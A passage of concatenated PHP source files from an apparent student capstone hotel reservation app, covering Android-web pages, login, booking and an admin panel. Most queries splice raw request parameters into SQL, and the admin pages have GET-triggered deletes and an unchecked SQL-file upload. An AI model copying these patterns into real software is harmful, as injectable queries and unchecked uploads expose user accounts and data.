value="'.$row['company'].'"> <p>Designation:</p> <input type="text" name="designation" id="id_designation" value="'.$row['designation'].'"> <p>Birthdate:</p> <input type="date" name="bdate" id="id_dob" value="'.$row['dob'].'" > <p>Username:</p> <input type="text" name="uname" id="id_uname" value="'.$row['username'].'" > <p>Password:</p> <input type="text" name="pass" id="id_pass" placeholder="<PASSWORD>"> <button type="submit" class="ui-btn ui-btn-b" name="save">Save</button> </form> '; } ?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015</p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <?php } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/details.php <?php include('conn.php'); if(!isset($_SESSION['user'])) { header("location:index.php"); } else { ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/table.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script src="cordova.js"></script> </head> <body> <script type="text/javascript"> function pload(){ location.reload(); } </script> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> </div><!-- /header --> <div role="main" class="ui-content"> <p>Hotel Reservation Android App</p> <?php if(isset($_POST['yes'])) { $qd = mysqli_query($con, "delete from tblbilling where reservationID = '".$_POST['hidden1']."' "); $qd2 = mysqli_query($con, "delete from tblreservation where id = '".$_POST['hidden1']."' "); header("Location: reserve.php"); } ?> <table data-role="table" id="movie-table-custom" data-mode="reflow" class="movie-list ui-responsive"> <thead>     <tr>     <th data-priority="1">Room</th> <th style="width:20%">Date</th>     <th data-priority="2">Other Fees</th>     <th data-priority="3">No. of nights</th>     <th data-priority="4">No. of Pax</abbr></th>     <th data-priority="5">Discount</th>     <th data-priority="6">Total</th> <th data-priority="7">Status</th>     </tr> </thead> <tbody> <?php if(isset($_GET['roomid'])) { $id_room = $_GET['roomid']; $id = $_SESSION['user']; $q = mysqli_query($con,"SELECT * FROM tblbilling LEFT JOIN tblreservation on tblbilling.reservationID=tblreservation.id where tblreservation.customerID=$id and tblreservation.roomID = '$id_room'"); $i = 0; while($row = mysqli_fetch_array($q)) { $id = $row['reservationID']; $roomid = $row['roomID']; $tmp = strtotime($row['dateFrom']); $from = date('M d, Y',$tmp); $tmp = strtotime($row['dateTo']); $to = date('M d, Y',$tmp); $q1 = mysqli_query($con, "select * from tblroom where id = $roomid"); $row1 = mysqli_fetch_array($q1); echo ' <tr>     <th>'.$row1['name'].'</th>     <td>'.$from.' to '.$to.'</td>     <td>'.$row['others'].'</td>     <td>'.$row['num_night'].'</td>     <td>'.$row['num_pax'].'</td>     <td>'.$row['discount'].'</td> <td>'.$row['total'].'</td>'; if($row['status'] == 'Pending') { $a = mysqli_query($con, "select reservationID from tblbilling where reservationID = '$id' "); $row_a = mysqli_num_rows($a); // TODO button cancel echo '<td> <a href="#popupDialog'.$i.'" data-rel="popup" data-sfid="'.$row_a['reservationID'].'" data-position-to="window" data-transition="pop" class="inline" style="width:70px; color:red">Cancel</a> <div data-role="popup" data-history="false" id="popupDialog'.$i.'" data-theme="a" style="max-width:400px;">     <form method="post" action="'.$_SERVER['REQUEST_URI'].'" >     <div class="ui-content">         <h3 class="ui-title">Are you sure you want to cancel your reservation?</h3>          <input onclick="pload()" type="submit" data-theme="b" data-rel="back" value="No">         <input onclick="pload()" type="submit" data-theme="b" name="yes" onclick="pload()" value="Yes">         <input type="hidden" name="hidden1" value="'.$id.'"/> </div> </form> </div> </td>'; $i++; } else echo '<td style="color:green">'.$row['status'].'</td>'; echo '</tr> '; }} ?>      </tbody> </table> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015</p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <?php } ?> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/login.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.core.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.calbox.min.js"></script> <script type="text/javascript" src=" http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.datebox.min.js"></script> <link rel="stylesheet" type="text/css" href="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.min.css" /> <script type="text/javascript" charset="utf-8" src="cordova.js"></script> <script type="text/javascript" charset="utf-8" src="js/video.js"></script> <script type="text/javascript"> function init(){ document.addEventListener( "deviceready", console.log('ready'), true); } function playVideo(vidUrl) { window.plugins.videoPlayer.play(vidUrl); //window.plugins.videoPlayer.play("file:///android_asset/www/video/cpu.mp4"); } </script> <?php include('conn.php'); if(isset($_POST['login'])) { $uname = $_POST['uname']; $pass = <PASSWORD>($_POST['pass']); $q = mysqli_query($con, " select id, username, password from tblcustomer where username = '".$uname."' and password = '".$pass."' "); if(mysqli_num_rows($q) > 0) { $row = mysqli_fetch_array($q); $_SESSION['user'] = $row['id']; header("location: room.php"); } else $notif = "<b style='color:red;'>Username/Password is incorrect. </b>"; } ?> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php" title="jQuery Mobile Demos home"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> <a href="index.php" class="jqm-search-link ui-btn ui-btn-icon-notext ui-corner-all ui-icon-arrow-l ui-nodisc-icon ui-alt-icon ui-btn-left">Search</a> </div><!-- /header --> <div role="main" class="ui-content"> <form class="form-inline" method="post" data-ajax="false">       <input type="text" data-clear-btn="true" name="uname" id="text-1" placeholder="Username">       <input type="password" data-clear-btn="true" name="pass" id="text-1" placeholder="<PASSWORD>"> <button type="submit" class="ui-btn ui-btn-b" name="login" >Login</button> <center> <a href="signup.php" style="text-decoration: none;">Sign Up</a><br> <a href="#" style="text-decoration: none;">Forgot Password?</a> </center> </form> <br> <center><?php if(isset($notif)) echo $notif;?><center> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015 </p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/login.php <?php include('conn.php'); $access = isset($_SESSION['access']) ? $_SESSION['access']: null; if($access == 1){ header('location:admin/'); } if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $sql = "select * from tbluser where username='$username' and password='$<PASSWORD>' and stype='admin'"; $result = $con->query($sql); if($result->num_rows > 0){ $row = $result->fetch_object(); $_SESSION['access'] = 1; $_SESSION['id'] = $row->id; $_SESSION['username'] = $row->username; header('location:admin/index.php'); }else{ $sql = "select * from tblcustomer where username='$username' and password='$<PASSWORD>'"; $result = $con->query($sql); if($result->num_rows > 0){ $row = $result->fetch_object(); if($row->status!=1){ $inactive = 1; }else{ $_SESSION['username'] = $row->username; $_SESSION['id'] = $row->id; header('location:rooms.php'); } }else{ $error = 1; } } } if(isset($_GET['email'])){ $email = $_GET['email']; $code = $_GET['code']; $q = "update tblcustomer set status=1 where email='$email' and password='$<PASSWORD>'"; $con->query($q); $confirm_email = 1; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link type="text/css" href="admin/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link type="text/css" href="admin/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet"> <link type="text/css" href="admin/css/theme.css" rel="stylesheet"> <link type="text/css" href="admin/images/icons/css/font-awesome.css" rel="stylesheet"> </head> <body> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".navbar-inverse-collapse"> <i class="icon-reorder shaded"></i> </a> <div class="nav-collapse collapse navbar-inverse-collapse"> <ul class="nav pull-right"> <li><a href="register.php"> Sign Up </a></li> <li><a href="#"> Forgot your password? </a></li> </ul> </div><!-- /.nav-collapse --> </div> </div><!-- /navbar-inner --> </div><!-- /navbar --> <div class="wrapper"> <div class="container"> <div class="row"> <div class="module module-login span4 offset4"> <form class="form-vertical" method="POST"> <div class="module-head"> <h3>Sign In</h3> </div> <div class="module-body"> <div class="control-group alert alert-danger text-danger <?php if(!isset($error)) echo 'hide';?>"> Invalid username/password! Please try again! </div> <div class="control-group alert alert-warning text-warning <?php if(!isset($inactive)) echo 'hide';?>"> Your account is not yet activated. Thank you! </div> <div class="control-group alert alert-success text-warning <?php if(!isset($confirm_email)) echo 'hide';?>"> Account confirmed. You can now login to your account. Thank you! </div> <div class="control-group"> <div class="controls row-fluid"> <input class="span12" type="text" id="inputEmail" placeholder="Username" name="username"> </div> </div> <div class="control-group"> <div class="controls row-fluid"> <input class="span12" type="password" id="inputPassword" placeholder="<PASSWORD>" name="password"> </div> </div> </div> <div class="module-foot"> <div class="control-group"> <div class="controls clearfix"> <button type="submit" class="btn btn-primary pull-right" name="login">Login</button> </div> </div> </div> </form> </div> </div> </div> </div><!--/.wrapper--> <div class="footer"> <div class="container"> </div> </div> <script src="admin/scripts/jquery-1.9.1.min.js" type="text/javascript"></script> <script src="admin/scripts/jquery-ui-1.10.1.custom.min.js" type="text/javascript"></script> <script src="admin/bootstrap/js/bootstrap.min.js" type="text/javascript"></script> </body><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/include/header.php <?php include('conn.php'); ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <meta name="description" content="" /> <meta name="author" content="" /> <!--[if IE]> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <![endif]--> <!-- BOOTSTRAP CORE STYLE CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet" /> <!-- FONTAWESOME STYLE CSS --> <link href="assets/css/font-awesome.min.css" rel="stylesheet" /> <!-- CUSTOM STYLE CSS --> <link href="assets/css/style.css" rel="stylesheet" /> <link href="assets/css/jquery-ui.min.css" rel="stylesheet" /> <!-- GOOGLE FONT --> <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' /> <link rel="stylesheet" href="assets/css/datatables/jquery.dataTables.min.css"> <link rel="stylesheet" href="assets/css/datatables/dataTables.bootstrap.css"> <style> .table tbody>tr>td.vert-align{ vertical-align: middle; } </style> </head> <body > <div class="navbar navbar-inverse navbar-fixed-top" > <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"><img src="admin/images/logo.png" width="30px" height="30px"> iHOTEL</a> </div> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php">HOME</a></li> <li><a href="about.php">ABOUT</a></li> <li><a href="rooms.php">ROOMS</a></li> <li><a href="contact.php">CONTACT US</a></li> <li class="<?php if(isset($_SESSION['username']))echo 'hide';?>" ><a href="login.php">LOGIN</a></li> <li class="<?php if(!isset($_SESSION['username']))echo 'hide';?>" ><a href="reservation.php">MY RESERVATION</a></li> <li class="<?php if(!isset($_SESSION['username']))echo 'hide';?>" ><a href="logout.php">LOGOUT</a></li> </ul> </div> </div> </div> <!--/.NAVBAR END--><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/arrival.php <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php if(isset($_GET['id'])){ $id = $_GET['id']; $con->query("delete from tblarrival where id=$id"); } $dateNow = date('Y-m-d'); $q = "SELECT tblarrival.id, tblreservation.roomID,tblreservation.customerID,tblreservation.dateFrom, tblbilling.num_night, tblbilling.num_pax FROM tblarrival left JOIN tblreservation on tblarrival.reservationID=tblreservation.id left JOIN tblbilling on tblreservation.id=tblbilling.reservationID WHERE tblreservation.dateFrom='$dateNow'"; $result = $con->query($q); function get_roomname($id,$con){ $row = $con->query("select * from tblroom where id=$id"); return $row->fetch_object()->name; } function get_customername($id,$con){ $row = $con->query("select * from tblcustomer where id=$id")->fetch_object(); return $row->fname.' '.$row->lname; } ?> <title>Arrival List</title> <?php if($result->num_rows > 0): ?> <div class="span9"> <div class="content"> <?php while($row = $result->fetch_object()): ?> <div class="btn-controls"> <div class="btn-box-row row-fluid"> <a href="arrival.php?id=<?php echo $row->id;?>" class="btn-box big span4"><i class="icon-user"></i><b><?php echo get_customername($row->customerID,$con);?></b> <p class="text-muted"> <?php echo get_roomname($row->roomID,$con);?><br> <?php echo $row->num_night;?> Nights<br> <?php echo $row->num_pax;?> Pax<br> <small>[click here when arrived...]</small> </p> </a> </div> </div> <?php endwhile; ?> <!--/#btn-controls--> <!--/.module--> </div> <!--/.content--> </div> <?php endif; ?> <?php if($result->num_rows == 0): ?> <div class="span9"> <div class="alert alert-info"> <h3><center>No arrival customer for today!</center></h3> </div> </div> <?php endif; ?> <!--/.span9--> <?php include('include/footer.php'); ?> <script> $('#table').DataTable(); </script><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/room.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script src="cordova.js"></script> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php" title="jQuery Mobile Demos home"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> <a href="index.php" class="jqm-search-link ui-btn ui-btn-icon-notext ui-corner-all ui-icon-arrow-l ui-nodisc-icon ui-alt-icon ui-btn-left">Search</a> </div><!-- /header --> <div role="main" class="ui-content"> <p>Hotel Reservation Android App</p> <br> <?php include('conn.php'); $q1 = mysqli_query($con,"SELECT * from tblroom"); while($row = mysqli_fetch_array($q1)) { $id = $row['id']; $q = mysqli_query($con,"SELECT * from tblroompicture where roomID = '$id' "); $row1 = mysqli_fetch_array($q); $roomid = $row1['roomID']; echo ' <ul data-role="listview" data-inset="true" data-count-theme="b"> <li> <a href="roomdetail.php?id='.$roomid.'" data-ajax="false"> <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:100%; height:100%;"> <h2>'.$row['name'].'</h2> <p>Max Person: <b>'.$row['capacity'].'</b></p> <span class="ui-li-count">P '.$row['rate'].'</span> </a> </li> </ul>'; } ?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015</p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/roomdetail.php <?php if(!isset($_GET['id'])) { header("location: room.php"); } else { ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" http-equiv="refresh"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.core.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.calbox.min.js"></script> <script type="text/javascript" src=" http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.datebox.min.js"></script> <link rel="stylesheet" type="text/css" href="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.min.css" /> <script type="text/javascript" charset="utf-8" src="cordova.js"></script> <script type="text/javascript" charset="utf-8" src="js/video.js"></script> <script> \ function linker(obby, nextDatebox) { var setDate = obby.date; setDate.adj(2,1); minDate = this.callFormat('%Y-%m-%d', setDate); $('#'+nextDatebox).attr('min',minDate); $('#'+nextDatebox).datebox('applyMinMax'); $('#'+nextDatebox).datebox('open'); }; </script> <?php include('conn.php'); $id = $_GET['id']; if(isset($_POST['reserved_room'])) { if($_POST['dateFrom'] == "" || $_POST['dateTo'] == "") { $availability = "<b><h3 style='color: red;'>Please choose dates first.</h3></b>"; } else { $dateFrom = $_POST['dateFrom']; $dateTo = $_POST['dateTo']; $q = mysqli_query($con,"SELECT * FROM tblreservation WHERE roomID = $id and ((tblreservation.dateFrom BETWEEN '$dateFrom' and '$dateTo') or (tblreservation.dateTo BETWEEN '$dateFrom' and '$dateTo'))"); if(mysqli_num_rows($q) > 0) { while($row=mysqli_fetch_array($q)) { $tmp = strtotime($row['dateFrom']); $from = date('M d, Y',$tmp); $tmp = strtotime($row['dateTo']); $to = date('M d, Y',$tmp); $q1 = mysqli_query($con, "select tblroompicture.path, tblroompicture.roomID, tblroom.name, tblroom.id from tblroompicture left join tblroom on tblroompicture.roomID = tblroom.id where tblroompicture.roomID = $id"); $row1 = mysqli_fetch_array($q1); $availability = ' <br> <div><label><b>Room Availability :</b></label></div> <center> <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:251px; height:220px; margin-bottom: 10px;"/> </center> <h2>'.$row1['name'].'</h2> <p>This Room was reserved from <b>'.$from.'</b> to <b>'.$to.'</b></p> '; } } else { $q1 = mysqli_query($con, "select tblroompicture.path, tblroompicture.roomID, tblroom.name, tblroom.id from tblroompicture left join tblroom on tblroompicture.roomID = tblroom.id where tblroompicture.roomID = $id"); $row1 = mysqli_fetch_array($q1); if(isset($_SESSION['user'])) { $availability = ' <br> <div><label><b>Room Availability :</b></label></div> <center> <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:251px; height:220px; margin-bottom: 10px;"> </center> <h2>'.$row1['name'].'</h2> <p>This Room is available</p> <a href="book.php?id='.$id.'" style="text-decoration:none; color:white;"><button class="ui-btn ui-btn-b">Book Now</button></a> '; } else $availability = ' <br> <div><label><b>Room Availability :</b></label></div> <center> <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:251px; height:220px; margin-bottom: 10px;"> </center> <h2>'.$row1['name'].'</h2> <p>This Room is available</p> <a href="login.php" style="text-decoration:none; color:white;"><button class="ui-btn ui-btn-b">Book Now</button></a> '; } } } ?> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php" title="jQuery Mobile Demos home"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> <a href="room.php" class="jqm-search-link ui-btn ui-btn-icon-notext ui-corner-all ui-icon-arrow-l ui-nodisc-icon ui-alt-icon ui-btn-left">Search</a> </div><!-- /header --> <div role="main" class="ui-content"> <div data-role="collapsible"> <?php $q1 = mysqli_query($con, "select * from tblroompicture where roomID = $id "); while($row1 = mysqli_fetch_array($q1)) { echo ' <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:251px; height:220px; margin-bottom: 10px;"/><br> '; } $q = mysqli_query($con, "select * from tblroom where id = $id "); while($row = mysqli_fetch_array($q)) { echo ' <h4>Room Details</h4> <b>'.$row['name'].'</b> <p>Pax: '.$row['capacity'].'</p>'; if($row['type'] == 1) { echo ' <p>Price: P'.$row['rate'].'/night</p> '; } else { echo ' <p>Price: P'.$row['rate'].'/head</p>'; } echo ' <p>Description: '.$row['description'].'</p> '; } ?> </div> <form class="form-inline" method="post" action='<?php echo $_SERVER['REQUEST_URI'];?>'> <p> Select Date From: </p> <input type="text" id="in_date" name="dateFrom" data-role="datebox" data-options='{"mode": "calbox", "useNewStyle":true, "useFocus": true, "afterToday":true, "closeCallback":"linker", "closeCallbackArgs": ["out_date"]}'> <p> Select Date To: </p> <input type="text" id="out_date" name="dateTo" data-role="datebox" data-options='{"mode": "calbox", "useNewStyle":true, "afterToday":true, "useFocus": true}'> <button type="submit" class="ui-btn ui-btn-b" name="reserved_room" >Check</button> </form> </div> <?php if(isset($availability)) echo $availability;?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015 </p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <?php } ?> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/backup.php <?php include('include/header.php'); ?> <link rel="stylesheet" href="css/jgrowl/jquery.jgrowl.min.css" /> <?php include('include/sidebar.php'); ?> <?php require_once('backup_restore.class.php'); $newImport = new backup_restore($host,$db,$user,$pass); if(isset($_GET['process'])){ $process = $_GET['process']; if($process == 'backup'){ $message = $newImport -> backup (); }else if($process == 'restore'){ $message = $newImport -> restore (); @unlink('backup/database_'.$db.'.sql'); } } if(isset($_POST['submit'])){ $db = 'database_'.$db.'.sql'; $target_path = 'backup'; move_uploaded_file($_FILES["file"]["tmp_name"], $target_path . '/' . $db); $message = 'Successfully uploaded. You can now <a href=backup.php?process=restore>restore</a> the database!'; } ?> <div class="span9"> <div class="content"> <div class="module"> <div class="module-head"> <h3>Backup / Restore Database</h3> </div> <div class="module-body"> <?php if(isset($_GET['process'])): ?> <?php $msg = $_GET['process']; $class = 'text-center'; switch($msg){ case 'backup': $msg = 'Backup successful!<br />Download THE <a href=backup/'.$message.' target=_blank >SQL FILE </a> OR RESTORE IT ANY TIME'; break; case 'restore': $msg = $message; break; case 'upload': $msg = $message; break; default: $class = 'hide'; } ?> <div class="alert alert-info <?php echo $class;?>"> <strong><?php echo $msg; ?></strong> </div> <?php endif; ?> <div class="row"> <div class="span12"> <div class="span3"> <a href="backup.php?process=backup"> <button type="button" class="btn btn-success btn-lg span4"><i class="fa fa-database"></i> BACKUP DATABASE</button> </a> </div> <div class="span3"> <a href="backup.php?process=restore"> <button type="button" class="btn btn-info btn-lg span4"><i class="fa fa-database"></i> RESTORE DATABASE</button> </a> </div> </div> </div> <br /> <div class="upload alert alert-warning"> <hr /> <form method="POST" enctype="multipart/form-data"> <label>Upload SQL File:</label> <input type="file" name="file" class="form-control"> <input type="submit" name="submit" class="btn btn-success" value="Upload Database" /> </form> </div> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_POST['add_room'])) echo '$.jGrowl("Added Successfully!");'; ?> </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/include/header.php <?php include('../conn.php'); $access = isset($_SESSION['access']) ? $_SESSION['access']: null; if($access == null){ header('location:../login.php'); } ?> <!DOCTYPE html> <html lang="en"> <head> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link type="text/css" href="bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link type="text/css" href="bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet"> <link href="css/jquery-ui.min.css" rel="stylesheet" /> <link type="text/css" href="css/theme.css" rel="stylesheet"> <link type="text/css" href="images/icons/css/font-awesome.css" rel="stylesheet"> <link type="text/css" href='http://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,400,600' rel='stylesheet'> <link rel="stylesheet" href="css/jgrowl/jquery.jgrowl.min.css" /> </head> <body> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".navbar-inverse-collapse"> <i class="icon-reorder shaded"></i></a><a class="brand" href="#">Admin </a> <div class="nav-collapse collapse navbar-inverse-collapse"> <form class="navbar-search pull-left input-append" action="#"> <input type="text" class="span3"> <button class="btn" type="button"> <i class="icon-search"></i> </button> </form> <ul class="nav pull-right"> <li class="nav-user dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown"> <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="logout.php">Logout</a></li> </ul> </li> </ul> </div> <!-- /.nav-collapse --> </div> </div> <!-- /navbar-inner --> </div><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/index.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script src="cordova.js"></script> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> </div><!-- /header --> <div role="main" class="ui-content"> <p>Hotel Reservation Android App</p> <br> <ul data-role="listview"> <li><a href="introduction.html">Introduction</a></li> <li><a href="room.php">Rooms</a></li> <li><a href="credits.html">Credits</a></li> <li><a href="about.html">About</a></li> <!-- <li><a href="feedback.php">Feedback</a></li>--> <?php session_start(); if(!isset($_SESSION['user'])) { echo '<li><a data-ajax="false" href="login.php">Login</a></li>'; } else echo ' <li><a data-ajax="false" href="reserve.php">My Reservation</a></li> <li><a data-ajax="false" href="profile.php">My Profile</a></li> <li><a data-ajax="false" href="logout.php">Logout</a></li> '; ?> </ul> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015</p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/book.php <?php include('conn.php'); if(!isset($_GET['id'])) { header("location: room.php"); } elseif(!isset($_SESSION['user'])) { header("location: login.php"); } else { ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.core.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.calbox.min.js"></script> <script type="text/javascript" src=" http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.datebox.min.js"></script> <link rel="stylesheet" type="text/css" href="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.min.css" /> <script type="text/javascript" charset="utf-8" src="cordova.js"></script> <script type="text/javascript" charset="utf-8" src="js/video.js"></script> <script> function linker(obby, nextDatebox) { var setDate = obby.date; setDate.adj(2,1); minDate = this.callFormat('%Y-%m-%d', setDate); $('#'+nextDatebox).attr('min',minDate); $('#'+nextDatebox).datebox('applyMinMax'); $('#'+nextDatebox).datebox('open'); }; </script> <script type="text/javascript"> function init(){ document.addEventListener( "deviceready", console.log('ready'), true); } function playVideo(vidUrl) { window.plugins.videoPlayer.play(vidUrl); //window.plugins.videoPlayer.play("file:///android_asset/www/video/cpu.mp4"); } </script> <?php $id = $_GET['id']; if(isset($_POST['reserved_room'])) { if($_POST['dateFrom'] == "" || $_POST['dateTo'] == "") { $notif = "<b><h3>Please choose dates first.</h3></b>"; } else { $dateFrom = $_POST['dateFrom']; $dateTo = $_POST['dateTo']; $dateF = date_create($dateFrom); $dateT = date_create($dateTo); $diff = date_diff($dateF, $dateT); $num_nights = $diff->format("%d"); $num_pax = $_POST['num_pax']; $userid = $_SESSION['user']; $q2 = mysqli_query($con, "select * from tblroom where id = $id"); while($row2 = mysqli_fetch_array($q2)) { if($row2['type'] == 1) { $rate = $row2['rate']; } else $rate = $row2['rate']; } $prod = $rate * $num_nights; $price = $prod * $num_pax; $tax = $price * 0.12; $total = $price + $tax; mysqli_query($con," insert into tblreservation ( roomID, customerID, dateFrom, dateTo ) values ( '$id', '$userid', '$dateFrom', '$dateTo' )"); $last_id = mysqli_insert_id($con); $q1 = mysqli_query($con, " insert into tblbilling ( reservationID, roomrate, others, num_night, num_pax, discount, total, status ) values ( '$last_id', '$rate', 0, '$num_nights', '$num_pax', 0, '$total', 'Pending' )"); if($q1 == true) { $notif = "Successfully Reserved"; } } } ?> </head> <body> <div data-role="page" 